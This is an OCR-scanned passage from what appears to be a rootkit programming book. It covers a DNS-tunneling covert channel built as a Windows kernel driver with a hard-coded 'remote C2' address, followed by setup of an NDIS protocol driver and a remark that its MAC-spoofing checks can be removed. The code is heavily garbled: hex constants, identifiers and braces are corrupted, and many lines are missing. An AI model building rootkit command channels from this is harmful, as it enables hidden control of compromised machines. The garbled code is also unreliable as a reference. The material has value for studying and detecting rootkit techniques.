BYTE id[SZ_hORD]; BYTE flags [SZ_WJRD] ; BYTE nQuestions[SZ_hORD]; BYTE nAnswerRRs[SZ_WORD]; BYTE nAuthorityRRs[SZ_hORD]; BYTE nAdditionalRRs[SZ_hORD]; }DNS_HEADER, ' PONS_HEADER; DNS_HEADER dnsHeader {0x99,0x02}, {0x01,0x99}, {0x99, 0x01}, {0x99 , 0x99}, {0x99 , 0x99}, {0x99,0x99}
};
limatches query & responses Ilfor query, normally eeee 0091 eeee eeee Iinormally 0xaee1 Iinormally 0xeeee Iinormally 0xeeee Iinormally 0xeeee
0xl99
BYTE queryType[SZ_hORD]; 110xaee1 (A Record, IP Address, Query) BYTE queryClass[SZ_hORD]; 110xaee1 (Internet Class) }DNS_QUESTIDN_SUFFIX, ' PONS_QUESTIDN_SUFFIX; DNS_QUESTIDN_SUFFIX questionSuffix
{
#pragma packO
The middle byte array is the DNS query name, a variable-length series of labels terminated by a null value. Programmatically, the bldQuery() function copies the DNS_HEADER structure into the buffer, then the query name array, and then finally the DNS_ QUESTION_SUFFIX structure. The implementation looks a lot messier than it really is:
void bldQuery
(
IN BYTE *nameBuffer, IN DWORD nameLength, IN BYTE *queryBuffer, OUT DWORD* query Length
BYTE *target; //copy DNS query header into byte stream target = (BYTE*)&dnsHeader; for{ i=0; i<SZ_QUERY_HEADER; i++)
{
queryBuffer[i]=target[i]; *queryLength = SZ_QUERY_HEADER; //copy over question name into byte stream if{nameLength > SZ_MAX_QNAME){ name Length = SZ_MAX_QNAME; } start=SZ_QUERY_HEADER; end=SZ_QUERY_HEADER+nameLength; for{i=start; i<end; i++)
{
queryBuffer[i] = nameBuffer[i-start]; *queryLength = *queryLength + name Length; //copy question suffix into byte stream target = (BYTE*)&questionSuffix; start=end; end=end+SZ_QUERY_SUFFIX; for{i=start; i<end;i++)
{
Receiving and processing the DNS response is a matter of parsing the bytes that you receive. The only potential stumbling block that you need to be aware of is that integer values in the response byte stream will be in big-endian format. As far as tunneled data is concerned, the important part of the response will be the query name returned in the question portion of the DNS response.
Pa rt III
I 625
IRP can be allocated by the consumer, which must also register a custom-built completion routine that will be invoked by the WSK subsystem when the IRP has been completed (signaling that the corresponding network I/O operation is done). The Windows I/O manager sits between WSK consumers and the WSK subsystem, shuttling the IRPs back and forth like a mad bus driver (see Figure 11-11). Once the IRP has been completed, the consumer code is responsible for freeing (or reusing) the IRP.
loAilocatelrp(l.FAlSE)
WSK Consumer
I/o
Manager
IoCompleteRequest (Irp.... )
WSK Subsystem
loFreelrp(irp)
Figure 11 -11
With the exception of the TCP Echo Server that ships with the WDK, there's not much training code for the WSK. Trust me; I scoured the Internet for days. In this case, it's just you, me, and the WDK documentation. Hopefully my training code will allow you to hit the ground running.
> Note:
WSK-DNS
in the a ppendix.
In the previous user-mode example, sending a DNS query and receiving a response required roughly five steps. Now that we're in kernel mode, this whole DNS conversation will take 10 steps (like I said, the complexity roughly doubles). Let's enumerate these steps in order:
1.
Initialize the application's context. Register the code with the WSK subsystem. Capture the WSK provider NPI. Create a kernel-mode socket.
2. 3. 4.
5. 6. 7. 8. 9.
Determine a local transport address. Bind the socket to this transport address. Set the remote address (of the C2 client). Send the DNS query. Receive the DNS response.
10. Close up shop. Before we jump into the implementation of these steps, it might help to look at the globaJ data variables that will recur on a regular basis. For example, to keep the program's core routines flexible and simplify their parameter lists, most of the important structures have been integrated into a composite application-specific context. This way we can avoid the scenario where we have to deaJ with functions that have a dozen arguments. The composite is instantiated as a global variable named socketContext.
typedef struct _WSK_APP_SOCKET_CONTEXT
{
//used for registration of WSK Client---------------------------WSK_CLIENT_DISPATCH WskAppDispatchj WSK_CLIENT_NPI wskClientNpij WSK_REGISTRATION WskRegistrationj //client doesn't modify this //output parameter from WskCaptureProviderNPI()------------------
//populated during the creation of the Datagram socket----------PWSK_SOCKET socketj //set during IRP completion //local transport address---------------------------------------SOCKADDR_IN localAddressj //remote "ONS Server" (aka remote C2 client)--------------------SOCKADDR_IN remoteAddressj
The storage used for the query that we send and the response that we receive is also global in scope. For the sake of keeping the example simple, and focusing on the raw mechanics of the WSK, I've hard-coded the DNS query as a specific series of 30 bytes.
#define SZ_ONS_QUERY #define SZ_ONS_BUFFER BYTE dnsQuery[] 30 512 //size of following question array //size of the generic I/O buffer
Par t "I
I 627
//transaction 10 / /flags (nonnal query) //# questions //# answer RRs //# authority RRs //# additional RRs
//-- ---- -- --- --------/ / (3)_[4)cwru[3)edu[9) 9x93, ex77, ex77, 9x77, 9x94, 9x63, 9x77, 9x72, 9x75, 9x93, ex65, ex64, ex75,
exee,
exOO,9x91, 9xee,9x91
}j
//--------------------
The code that actually sends and receives the DNS messages doesn't reference the buffer directly. Instead it uses a memory descriptor list structure, named dnsMDL, which describes the layout of the buffer in physical memory. This sort of description can prove to be relevant in the event that the buffer is large enough to be spread over several physical pages that aren't all contiguous. Let's start with a bird's-eye perspective of the code. Then we'll drill down into each operation to see how the code implements each of the steps. The fun begins in DriverEntry() , where most ofthe action takes place. However, there is some mandatory cleanup that occurs in the driver's OnUnload() routine. The overall logic is pretty simple: We send a single DNS query and then receive the corresponding response. The hard part lies in all the setup and managing of the kernel-mode details. Once you've read through this section and digested this example, you'll be ready to start reading the TCP Echo server code that ships with the WDK as their sample implementation.
VOID OnUnload(IN PDRIVER_OBJECT OriverObject)
{
628
Pa rt III
//more mandatory cleanup WskReleaseProviderNPI(&(socketContext.WskRegistrationj WskDeregister(&(socketContext.WskRegistrationj returnj }/*end OnUnload() --- -- -- --- -- --- -- -- --- --- -- -- -- -- ---- - --- -- -- --- -- -- --- -- -*/ NTSTATUS DriverEntry
(
NTSTATUS ntStatusj
IWlRD ij
for(i=9ji<IRP_MJ_MAXIMUM_FUNCTIONji++)
{
(*pDriverObject).MajorFunction[i) = defaultDispatchj (*pDriverObject).DriverUnload = OnUnloadj //Step 1) init the application's context initONSSocketContext(&socketContext)j //Step 2) connect to networking subsystem ntStatus = WskRegister
(
&(socketContext.wskClientNpi), &(socketContext.WskRegistration)
) j
if(!NT_SUCCESS(ntStatus
{
Pa rt III
I 629
II
if(lNT_SUCCESS(ntStatus
{
DBG_PRINT2("[DriverEntry]: creation failed, nstatus==%x\n",ntStatus); return(ntStatus); if( ntStatus==STATUS_PEMHNG){ DbgMsg( "DriverEntry", "Socket creation PEMHNG"); } else{ DbgMsg("DriverEntry","Socket creation success"); } //Step 5) determine a local transport address ntStatus = getLocalTransportAddress(&socketContext); if(lNT_SUCCESS(ntStatus
{
DBG_PRINT2("[DriverEntry]: address query failed, nstatus==%x\n",ntStatus); return(ntStatus); if(ntStatus==STATUS_PENDING){ DbgMsg("DriverEntry","Address query PENDING"); } else{ DbgMsg("DriverEntry","Address Query success"); } //Step 6) bind socket to local transport address ntStatus = BindSocket(&socketContext); if(lNT_SUCCESS(ntStatus
{
DbgMsg("DriverEntry","Socket bind failed"); DBG_PRINT2("[DriverEntry]: nstatus==%x\n",ntStatus); return(ntStatus); if(ntStatus==STATUS_PENDING){ DbgMsg("DriverEntry","Socket bind PENDING"); } else{ DbgMsg("DriverEntry","Socket bind success"); } //Step 7) set remote address ntStatus = setRemoteAddress(&socketContext); if(lNT_SUCCESS(ntStatus
{
DBG]RINT2("[DriverEntry] : Address set failed, nstatus==%x\n",ntStatus); return(ntStatus); if(ntStatus==STATUS_PENDING){ DbgMsg("DriverEntry","Address set PENDING"); } else
630
Po r' III
if(dnsMDL==NULL)
{
DbgMsg("DriverEntry","could not allocate dnsMDL"); MmBuildMdlForNonPagedPool(dnsMDL); for(i=9;i<SZ_DNS_QUERY;i++){ dnsBuffer[i]=dnsQuery[i]; } DatagramSendBuffer.Mdl = dnsMDL; DatagramSendBuffer.Offset = 9; DatagramSendB uffer.Length = SZ_DNS_QUERY; ntStatus = sendDatagram(&socketContext,&DatagramSendBuffer); if(!NT_SUCCESS(ntStatus
{
DbgMsgC'DriverEntry", "Datagram send failed"); DBG_PRINT2("[DriverEntry]: nstatus==%x\n",ntStatus); return(ntStatus); if(ntStatus==STATUS_PEMlING){ DbgMsg( "DriverEntry" ,.Datagram send PEMlING"); } else{ DbgMsgC'DriverEntry",.Datagram send success"); } //Step 9) recv DNS answer DatagramRecvB uffer.Mdl = dnsMDL; DatagramRecvBuffer .Offset = 9; DatagramRecvBuffer.Length = SZ_DNS_BUFFER; ntStatus = recvDatagram(&socketContext,&DatagramRecvBuffer); if(!NT_SUCCESS(ntStatus
{
DbgMsg("DriverEntry", "Datagram recv failed "); DBG_PRINT2 C' [Dri verEntry] : nstatus==%x\n", ntStatus) ; return(ntStatus); if(ntStatus==STATUS_PEMlING){ DbllMsg("Dri verEntry","Datagram recv PEMlING"); else{ DbgMsg("DriverEntry","Datagram recv success"); } //Step 19) close up shop DbgMsg("DriverEntry" , "DriverEntryO completed without errors"); return(STATUS_SUCCESS); }/*end DriverEntry() ----- - ----- -- ------------- --- - -- -- ------------ ------ --- */
After scanning over this code , you might get that sinking feeling that kernel mode is much more than just simply porting your Winsock code over to a slightly different API. T hat sinking feeling would probably be your survival
Part III
1631
instinct, telling you that now you're up close and personal with the IIO manager and the WSK subsystem. This is one reason why I suggest you try to stick to Winsock if at all possible. Nevertheless, if you feel the need to run deep, then this is the environment that you'll have to work with.
Ilfor registration (step #2) (*socketContext).WskAppDispatch.Version = MAKE_WSK_VERSION(1,9); (*socketContext).WskAppDispatch.Reserved = 9; (*socketContext).WskAppDispatch.WskClientEvent=NULL; lino callbacks
(*socketContext).wskClientNpi.ClientContext=NULL; (*socketContext).wskClientNpi.Dispatch=&*socketContext).WskAppDispatch); lifer capturing the NPI (step #3) (*socketContext).WSK_WAIT_TLMEOUT =15; IllS ms
Ilfor setting destination of all UDP packets (step #7) (*socketContext) . remoteAddress.sin_family=AF_INET; (*socketContext).remoteAddress.sin-PQrt=(USHORT)9x3599; Ilbig-endian (port 53) (*socketContext).remoteAddress.sin_addr.S_un.S_addr=9xA39AD482; //139.212.19.163 for(i=9;i<8;i++){ (*socketContext).remoteAddress.sin_zero[i]=9; }
return;
}/*end initDNSSOcketContext()----------------------------------------------*/
Given that this is training code, we can get away with hard coding a lot of this on behalf of the need for clarity. In a production rootkit, many of these parameters would be configured at run time via an administrative interface of some sort.
interaction. ot only does the client need to know that the WSK subsystem is there, but the WSK subsystem also has to be aware of the client so that the flurry of IRPs going back and forth can occur as intended. Once these formalities have been attended to, the first truly substantial operation that the code performs is to create a socket.
NTSTATUS createDNSSocket(PWSK_APP_SOCKET_CONTEXT socketContext)
{
PIRP irp; WSK_PROVIDER_NPI wskProviderNpi; NTSTATUS ntStatus; irp = IoAllocatelrp(l,FALSE); if (irp==NULL){ return(STATUS_INSUFFICIENT_RESOURCES); } IoSetCompletionRoutine
(
PIRP Irp PIa_COMPLETION_ROUTINE CompletionRoutine PVOID Context BOOLEAN InvokeOnSuccess BOOLEAN InvokeOnError BOOLEAN InvokeOnCancel
wskProviderNpi.Client, //IN PWSK_CLIENT Client AF_INET, //IN ADDRESS_FAMILY AddressFamily SOCK_DGRAM, //IN USHORT SocketType IPPROTO_UDP, //IN ULONG Protocol WSK_FLAG_DATAGRAM_SOCKET, //IN ULONG Flags NULL, //IN PVOID SocketContext OPTIONAL (for callbacks) NULL, // IN CONST VOID *Dispatch OPTIONAL (for callbacks) NULL, //IN PEPROCESS OwningProcess OPTIONAL NULL, // IN PETHREAD OwningThread OPTIONAL NULL, //IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL irp / /IN PIRP Irp
);
As described earlier, this code allocates an IRP, associates it with a completion routine that will be invoked when the socket is actually created, and then passes this IRP (in addition to other context variables) to the WskSocket()
API.
The WSK subsystem returns the structure that we're after, the WSK_SOCKET, by stuffing it into the IRP's IoStatus. Information subfield. We stow the address of this structure in our context and save it for later.
Part III
1633
NTSTATUS CreateSocketIRPComplete
C
PWSK_PROVIDER_DATAGRAM_DISPATCH dispatch; NTSTATUS ntStatus; BYTE LocalAddressBuffer[SZ_ADDRESS_BUFFER); DWORO nBytesReturned; PSOCKET_ADDRESS_LIST socketAddressList; SOCKET_ADDRESS socketAddress; SOCKADDR_IN localAddress; dispatch=(PWSK_PROVIDER_DATAGRAM_DISPATCH)C*C(*socketContext).socket.Dispatch; ntStatus = (*dispatch).WskControlSOCket
C
(*socketContext).socket, Wskloctl,
a, a,
MJLL, SZ_ADORESS_BUFFER, LocalAddressBuffer, &nBytesReturned, MJLL
);
//IN ULONG ControlCode //IN ULONG Level //IN SIZE_T InputSize //IN PVOID InputBuffer OPTIONAL //IN SIZE_T DutputSize / /OOT PVOID DutputBuffer OPTIONAL //OOT SIZE_T *DutputSizeReturned OPTIONAL //IN PIRP Irp OPTIONAL
if(NT_SUCCESS(ntStatus
{
It's entirely plausible that the local host this code is running on has multiple network cards. In this case, the LocalAddressBuffer will be populated by an array of SOCKET_ADDRESS structures. To keep things simple, I use the first element of this list and store it in the application context. This straightforward approach will also handle the scenario when there is only a single network card available (i.e., an array of size 1). Also note that some control operations on a socket do not require the involvement of IRPs. This is one such case.
PIRP irp; PWSK_PROVIDER_DATAGRAM_DISPATCH dispatch; NTSTATUS ntStatus; irp = IoAllocateIrp(l,FALSE); if (irp==MJLL){ return(STATUS_INSUFFICIENT_RESOURCES); IoSetCompletionRoutine
(
irp, BindSocketIRPComplete,
II
The IRP completion routine, BindSocketIRPComplete() , doesn't do anything special in this case, so I'll skip over it in the name of brevity. You can check it out in the appendix if you're so inclined.
>
Nole: The WSK uses the term transport address because it's attempting to remain distinct from any particular transport protocol (e.g., AppleTal k, NetBIOS, IPX/ SPX, etc.). For our purposes, however, a transport address is just an IP address .
In this example we're dealing with a datagram socket. Datagram sockets must bind to a local transport address before they can send or receive datagrams. A connection-oriented socket (i.e., a socket using a TCP-based protocol) must bind to a local transport address before it can connect to a remote transport address.
636
Par till
Note, however, that this control operation doesn't impact how the datagram socket receives data. The datagram socket we created earlier will still be able to receive datagrams from any IP address. Also, unlike the previous control operation (where we retrieved the machine's local IP address), this control operation requires us to both allocate an IRP and register an IRP completion routine with the IRP so that the WSK has something to invoke when it's done with its part of the work.
NTSTATUS setRemoteAddress(PWSK_APP_SOCKET_CONTEXT socketContext)
{
i;
PIRP Irp PIO_COMPLETION_ROUTINE CompletionRoutine PVOID Context BOOLEAN InvokeOnSuccess BOOLEAN InvokeOnError BOOLEAN InvokeOnCancel
a,
sizeof(SOCKADDR_IN) , &remoteAddress,
a,
NULL, NULL, irp
);
PWSK_SOCKET Socket WSK_CONTROL_SOCKET_TYPE RequestType ULONG ControlCode ULONG Level SIZE_T InputSize PVOID InputBuffer OPTIONAL SIZE_T OutputSize llOUT PVOID OutputBuffer OPTIONAL llOUT SIZE_T *OutputSizeReturned OPTIONAL IIIN PIRP Irp OPTIONAL
Par I III
I 637
NTSTATUS ntStatus; PIRP irp; PWSK_PROVIDER_DATAGRAM_DISPATCH dispatch; irp = IoAllocateIrp(l,FALSE); if (irp==NULL){ return(STATUS_INSUFFICIENT_RESOURCES); } IoSetCompletionRoutine
(
irp, SendDatagramIRPComplete,
buff,
PIRP Irp PIO_COMPLETION_ROUTINE CompletionRoutine PVOID Context BOOLEAN InvokeOnSuccess BOOLEAN InvokeOnError BOOLEAN InvokeOnCancel
(*socketContext) .socket,
buff,
a,
NULL,
a,
NULL, irp
);
PWSK_SOCKET SOCket PWSK_BUF Buffer ULONG Flags (reserved) PSOCKAOOR RemoteAddress OPTIONAL SIZE_T ControlInfoLength PCMSGIlR ControlInfo OPTIONAL PIRP Irp
To be honest, the only truly subtle part of setting up this call is properly constructing the WSK_BUF and MDL structures that describe the buffer used to store the DNS query. This work was done back in DriverEntry() before we made the call to sendDatagramO. Once the bytes that constitute the query have actually been sent, the WSK subsystem will invoke the IRP completion routine that we registered previously. The WSK subsystem will do so through the auspices of the Windows
638
Po rt III
I/O manager. The IRP completion routine can access the number of bytes successfully sent through the Iostatus. Information subfield of the IRP.
NTSTATUS SendDatagramIRPComplete
(
PWSK_BUF datagramBufferj OWORD byteCountj UNREFERENCED_PARAMETER(DeviceObject)j if *Irp) .IoStatus.Status !; STATUS_SUCCESS) DbgMsg("SendDatagramIRPComplete","IRP indicates error status")j else datagramBuffer ; (PWSK_BUF)Contextj byteCount ; (UlONG)(Irp->IoStatus.Information)j DBG_PRINT2("[SendDatagramIRPComplete]: bytes sent;%d",byteCount)j IoFreeIrp(Irp)j return(STATUS_MORE_PROCESSING_REQUIRED)j }/*end SendDatagramIRPComplete()-------------------------------------------*/
NTSTATUS ntStatuSj PIRP irpj PWSK_PROVIDER_DATAGRAM_DISPATCH dispatchj irp ; IoAllocateIrp(l,FAlSE)j if (irp;;NUll){ return(STATUS_INSUFFICIENT_RESOURCES)j } IoSetCompletionRoutine
(
PIRP Irp PIO_COMPlETION_ROUTINE CompletionRoutine PVOID Context BOOLEAN InvokeOnSuccess BOOLEAN InvokeOnError BOOLEAN InvokeOnCancel
Port III
1639
(*socketContext).socket, buff,
0,
IIIN PWSK_SOCKET Socket IIIN PWSK_BUF Buffer IIIN ULONG Flags (reserved)
llCUT PSOCKAOOR RemoteAddress OPTIO'lAL IIIN CUT PULONG ControlInfoLength OPTIO'lAL llCUT PCMSGH>R ControlInfo OPTIO'lAL llCUT PULONG ControlFlags OPTIO'lAL IIIN PIRP Irp
Once the DNS response has been received by the WSK subsystem, it will invoke our IRP completion routine via the Windows I/O manager. The IRP completion routine can access the number of bytes successfully received through the Iostatus. Information subfield of the IRP. Another thing that I do in the completion routine is to print out the bytes that were received, to verify the content of the response. It should be identical to the response we received using the user-mode Winsock code.
NTSTATUS RecvDatagramIRPComplete
(
DbgMsg("RecvDatagramIRPComplete","IRP indicates error status"); OBG_PRINT2("[RecvDatagramIRPComplete]: ntstatus=%x",(*Irp).IoStatus.Status); else datagramBuffer = (PWSK_BUF)Context; byteCount = (ULONG)(Irp->IoStatus.Information); DbgMsg("RecvDatagramIRPComplete","IRP indicates datagram recv success"); OBG_PRINT2(" [RecvDatagramIRPComplete]: bytes recei ved=%d" ,byteCount) ; for(i=0;i<byteCount;i++)
{
IoFreeIrp(Irp); return(STATUS_MORE_PROCESSING_REQUIRED}; }/*end RecVOatagramIRPComplete() --- -- -- -- --- -- -- -- -- --- --- -- -- -- -- --- - --- --* I
640
Part III
II
objchk_wlh_x86 i386
EI EI
test
objchk_wlh_x86 i386
Figure 1112
The user-mode component, prottest. exe, is a simple command console program that uses the familiar DeviceloControl () API call, in conjunction with ReadFile() and Writefile(), to communicate with the NDIS KMD. A cursory viewing of the prottest . c source file should give you what you need to know in order to move on to the driver, which is where the bulk of the work gets done. Unlike the user-mode component, which is described by a single source code file (i.e., prottest. c), the blueprints for the driver are defined using almost a dozen source files. These files are listed in Table 11-5.
Port III
1641
II
~
Table 11 -5
Driver File
nt dis p.c rec v.c send. c ndis bi nd .c
c----
Description Driver entry point and most of the driver's dispatch routi nes Code for receiving data and processing IRP_MJ_READ requests
-
Code for sending data and processing IRP_MJ_WRITE requests Routines that handle binding and unbinding with on NIC adopter I/O control codes and structure definitions used by IOCTL commands All of the driver routine prototypes, with a handful of macros and structures Global macros used throughout the driver code Code used to assist in debugging the driver Macro definitions used for debugging Installs the driver, associates it with a given NIC
--
protuser. h ndisprot .h
Most of the real action takes place in the first four files (ntdis p. c, recv. c, send. c, and ndisbind . c). I'd recommend starting with ntdisp. c and then branching outward from there.
Aside
While rolling your own networking stack may seem a bit extreme, there have been publicly available rootkits that have implemented their own NDIS protocol drivers. Greg Hoglund's rk_e44 is a notable example.3 This code is definitely worth a read, though it does use a version of NDIS that has been deprecated by Microsoft. In addition, according to the comments left by Greg in the source code, this rootkit hasn't been updated since 2001.
www.rootkiLcomlvaultihogluncVrk_044.zip
This command builds both the user-mode executable and the KMD. Don't worry too much about the options that we tacked on to the end of the build command. They merely ensure that the build process deletes object files, generates log fi les describing the build, and precludes dependency checking.
If everything proceeds as it should, you'll see output that resembles the following:
BUILD: Compile and Link f or x86 BUILD: Start time: Fri Nov 87 15:48:28 2ee8 BUILD: Examining c :\winddk \6eee\src\networ k\ndis\ndisprot\6e di rectory tree for files t o compile . BUILD: Compili ng and Linking c:\winddk\6eee\src\network\ndis\nd isprot \ 6e\sys directory BUILD: Compiling and Linking c:\winddk\6eee\s rc\network\ndis \ndisprot \ 6e\ test directory l >Precompiling - sys\precomp . h 2>Compiling - test \ prottest .c l >Compiling - sys \ ndisprot . rc l 2>Linking Executable - t est\objc hk_w h_x86\i386\prott est .exe l >Compiling - sys\ntdis p.c l >Compiling - sys\ndisbi nd .c l >Compiling - sys \ recv .c l >Compiling - sys\send .c l>Compiling - sys\debug.c l >Compiling - sys\excallbk.c l >Compiling - sys\generating code ... l >Linking Executable - sys \ objchk_wlh_x86\i386\ndisprot .sys BUILD: Finish time : Fri Nov 87 15:48 :21 2ee8 BUILD : Done 14 files compiled 2 executables built
Now you're ready to install the protocol driver. At a command prompt, invoke the ncpa . cpI applet to bring up the Network Connections window. Right-click on an adapter of your choosing and select Properties. This should bring up a Properties dialog box. Click on the Install button, choose to add a protocol, and then click on the button to indicate that you have a disk. Y ou then need to traverse the fi le system to the location of the ndisprot . inf file. To help expedite this process, I would recommend putting the ndisprot. sys driver file in the same directory as the ndisprot. inf driver installer file. During the installation process, the driver fi le will be copied to the %systemroot%\system32\drivers directory. A subwindow will appear, prompting you to select Sample NDIS Protocol Driver. FYI, don't worry that this driver isn't signed. Once the driver is installed the Properties window will resemble that in Figure 11-13. Y ou'll need to start and stop the driver manually using our old friend the sc . exe.
Po rt III
I 643
.....
--I
-"",- .
_""_57><xGoob<~
.,
J
llill
0-
.,
~ ..L ~NOISPnxoc:olOrrter
o..a-.
-.
\lUI ...
II.
.II
Hows)'CV~erto access ~ on a
I4c:rod
-c;;,;,..
Figure 1113
To start the NDISProt driver, enter the following command:
net start ndisprot
Once the driver has been loaded, you can crank up the user-mode executable. For example, to enumerate the devices to which the driver has been bound, launch prottest. exe with the -e option:
D:\>prottest -e 0. \DEVICE\{E6FFAF4C-AFll-4E94-B1F7-C4A7F6361CD4} - Broadcom NetXtreme 57xx Gigabit Controller
This is a useful option because all of the other variations of this command require you to specify a network device (which you now have). To send and receive a couple of 32-byte packets on the device just specified, execute the following command:
D:\>prottest -n 2 -1 32 \DEVICE\{E6FFAF4C-AFll-4E94-B1F7-C4A7F6361CD4} Option: NumberOfPackets = 2 Option: Packet Length = 32 Trying to access NOIS Device: \DEVICE\{E6FFAF4C-AFll-4E94-B1F7-C4A7F6361C04} Opened device \DEVICE\{E6FFAF4C-AFll-4E94-B1F7-C4A7F6361C04} successfully I Trying to get src mac address GetSrcMac: loControl success, BytesReturned = 14 Got local MAC: 00:18:be:eb:52:b1 OoWriteProc OoWriteProc: sent 32 bytes OoWriteProc: sent 32 bytes
OoWriteProc: finished sending 2 packets of 32 bytes each OoReadProc OoReadProc: read plct # 1, 32 bytes OoReadProc: read pkt # 2, 32 bytes boReadProc finished: read 2 packets
The - n option dictates how many packets should be sent. The -1 option indicates how many bytes each packet should consist of. By default, the client sends packets in a loop to itself. If you look at a summary of the options supplied by the user-mode client, you'll see that there are options to use a fake source MAC address and to explicitly specify a destination MAC address.
0: \>prottest Missing <devicenane> argunent usage: PROTIEST [options] <devicename> options: -e: Enumerate devices -r: Read -w: Write (default) -1 <length>: length of each packet (default: lee) -n <count>: nl.lllber of packets (defaults to infinity) -m <MAC address> (defaults to local MAC) -f Use a fake address to send out the packets.
The -m option, which allows you to set the destination MAC address, works like a charm.
D:\>prottest -n 1 -1 32 -m ee:12:3F:38:34:E3 \DEVICE\{E6FFAF4C-AFll-4E94-B1F7-C4A7F6361CD4} Option: NunberOfpackets = 1 Option: Packet Length = 32 Option: Dest MAC Addr: ee:12:3f:38:34:e3 Trying to access NDIS Device: \DEVICE\{E6FFAF4C-AFll-4E94-B1F7-C4A7F6361CD4} Opened device \DEVICE\{E6FFAF4C-AFll-4E94-B1F7-C4A7F6361CD4} successfully! Trying to get src mac address GetSroMac: IoControl success, BytesReturned = 14 Got local MAC: ee:18:be:eb:52:bl OoWriteProc DaWriteProc: sent 32 bytes DaWriteProc: finished sending 1 packets of 32 bytes each OoReadProc OoReadProc: read plct # 1, 32 bytes OoReadProc finished: read 1 packets
The -f option is supposed to allow the client to use a fake MAC address that's hard coded in the client's source (by you). This option doesn't work at all. In fact, the client will hang if you use this option and the following message will appear at the kernel debugger console:
Pa rt III
I 645
A little digging will show that there are a couple of lines in the driver's code that prevent you from spoofing the source address of the packet (granted there's nothing to prevent you from removing this code).
standard Windows API call that causes the I/O manager to create an IRP whose major function code is IRP_MJ_CREATE. After the client has a obtained a handle to the device, it waits for the driver to bind to all of the running adapters by calling the DeviceloControl () function with the control code set to IOCTL_NDISPROT_BIND_WAIT. Once this binding is complete, OpenHandle() returns with the driver's device handle. As you can see from Figure 11-14, every call following OpenHandleO accepts the device handle as an argument. Depending on the command-line arguments fed to the client, the If this Boolean flag is set to TRUE, the client will enumerate the network devices to which the driver is bound by calling EnumerateDevices (). In this case, the client will issue a call to DeviceloControlO with the control code set to IOCTL_NDISPROT_ QUERY_OID_VALUE, which will result in an IRP with major function code IRP_MJ_DEVICE_CONTROL being routed to the driver.
DoE numerate flag may be TRUE or FALSE.
If DoEnumerate is set to FALSE, the client has the opportunity to send and receive a series of one or more packets. If you're monitoring this network activity locally with a sniffer like Wires hark, these packets will show up as
646
Pari" I
traffic that conforms to the Extensible Authentication Protocol (EAP) over LAN specification, which is defined in IEEE 802.1X.
moinCo.,c, o.cv)
crutefUe()
I
BOOL
G.tOptions(~uI C"
..'
. .:.:/
/.
.. lOCTL.)DISI'mT..IDIDJIUT
Oevice/f.ndlo
= OponH.ndloCpNdisProtOevic.).....
.. lOCTL.)DISI'mT_QUlllY-'DIDDMi
........................
~
800L G.tSrcM.c (o.v1ceHandle J SrcMllcAddr)
...............................
I
l
.....................................................".
.............................
DoRo.dProc (Oevicollondlo)
Figure 11-14
The client code that implements the sending and receiving of data (i.e., the DoWri teProe () and DoReadProe () functions) basically wrap calls to the WriteFile() and ReadFile() Windows API calls. Using the handle to the driver's device, these calls compel the I/O manager to fire off IRPS to the driver whose major function codes are IRP_MJ_WRITE and IRP_MJ_READ, respectively. Rather than hard code the values for the source and destination MAC addresses, the client queries the driver for the MAC address of the adapter that it's bound to. The client implements this functionality via the GetSreMae () routine, which makes a special DevieeloControl () call using the instance-specific NDISPROT_QUERV_OID structure to populate the 6-byte array that represents the source MAC address.
If the destination MAC address hasn't been explicitly set at the command line, the bDstMacSpeci fied flag will be set to FALSE. In this case, the client sets the destination address to be the same as the source address (causing the client to send packets in a loop to itself). If the user has opted to use a fake source MAC address, the bUseFakeAddress flag will be set to TRUE and the client code will use the fake MAC address stored in the FakeSrcMacAddr array. You'll need to hard code this value yourself to use this option and then remove a snippet of code from the driver.
Regardless of which execution path the client takes, it ultimately invokes the
CloseHandle () routine, which prompts the I/O manager to fire off yet
another IRP and causes the driver to cancel pending reads and flush its input queue. The four I/O control codes that the client passes to DeviceloControl () are defined in the prot user h header file (located under the . \sys directory):
//application-specific I/O control codes #define IOCTL_NDISPROT_OPEN_DEVICE #define IOCTL_NDISPROT_QUERV_OID_VALUE #define IOCTL_NDISPROT_SET_OID_VALUE #define IOCTL_NDISPROT_QUERV_BINDING #define IOCTL_NDISPROT_BIND_WAIT
There are also three application-specific structures defined in this header file that the client passes to the driver via DeviceloControl ().
//application-specific structures passed to DeviceloControl{) typedef struct _NDISPROT_QUERV_OID
{
Note that the IOCTL_NDISPROT_SET_OID_VALUE control code and its corresponding structure (NDISPROT_SET_OID) are not utilized by the client. These were excluded by the developers at Microsoft so that the client doesn't support the ability to configure object ID (OlD) parameters.
648
Pa rt III
> Note:
Object IDs (OIOs) are low-level system-defined parameters that are typically associated with network hardware. Protocol drivers can query or set OIOs using the NdisOidRequestO routine . The NOIS library will then invoke the appropriate request function of the driver below to actually perform the query or configuration. OIOs have identifiers that begin with "OID_." For example, the OID_S02_3_CURRENT_ADDRESS object 10 represents the MAC address that an Ethernet adapter is currently using. You ' ll see this value mentioned in the first few lines of the client's GetSrcMac () routine . If you're curious and want a better look at different OIOs, see the ntddndis. h header file .
Figure 11-14 essentially shows the touch points between the user-mode client and its counterpart in kernel mode. Most of the client's functions wrap Windows API calls that interact directly with the driver (DeviceIOControl (), CreateFileO , ReadFileO , WriteFileO, etc.). This will give you an idea of what to look for when you start reading the driver code because you know what sort of requests the driver will need to accommodate.
Port III
I 649
---j
Drivor Entry ( )
---j
I
NdisprotUnloodO
~': ./
pDrive rObject- >OrivarUnlold = NdisprotUnlold / treciste,. dispatch routines Routine Maj or Function Code IRP_Ml_CREATE NdisprotOponO IRP_Ml_CLOSE NdisprotClosoO NdisprotCloonup( ) IRP_Hl_CLEANUP NdisprotRood( ) IRP_Hl_READ IRP_Ml_WRITE NdisprotWritoO IRP _Hl_DEVICE_CONTROL NdisprotIoCont r olO
--....
I
---j
NdisprotIoControlO
/lho ndlo Devico Control IRPs 10 Control Code IOCTL_NDISPROT_BIND_WAIT IOCTL_NDISPROT_QUERY_BINDING IOCTL_NDISPROT_OPEN_DEVICE IOCTL_NDISPROT_QUERY_OID_VALUE IOCTL_NDISPROT_SET_OID_VALUE
"""
Hllndlinl Routine - nl ndisprotQuoryBindinl ( ) ndisprotOponDevicoO ndisprotQuoryOidVoluo () ndisprotSotOidVoluo()
Source Fil.
ndisbind.c ntdisp . c ndisbind . c ndisbind . c
Figure 11-15
